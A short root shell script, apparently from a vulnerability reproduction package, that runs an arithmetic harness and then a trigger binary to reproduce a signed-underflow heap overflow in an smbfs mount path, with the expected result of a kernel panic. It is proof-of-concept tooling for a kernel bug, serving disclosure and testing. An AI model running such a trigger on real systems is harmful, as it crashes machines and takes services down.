#!/bin/sh
# DF-0907 run — reproduce the smbfs_mount signed-underflow heap overflow.
# Must run as root (mount(2) on smbfs requires root).
# Prereq: smbfs.ko loaded. If not loaded, this attempts to kldload it.
set -e
cd "$(dirname "$0")"

# 1) Deterministic arithmetic proof (userspace, no kernel needed).
echo "==== arithmetic harness (proof of pe-pc-2 == -1 -> SIZE_MAX) ===="
./harness
echo

# 2) Real kernel trigger. Ensure smbfs.ko is loaded.
if ! kldstat -m smbfs >/dev/null 2>&1; then
    kldload smbfs || true
fi
echo "==== kernel trigger (mount(2) with 80-char vc_username) ===="
echo "[*] if the bug is present, the kernel panics inside mount(2);"
echo "    this script will not return and the guest will go down."
./trigger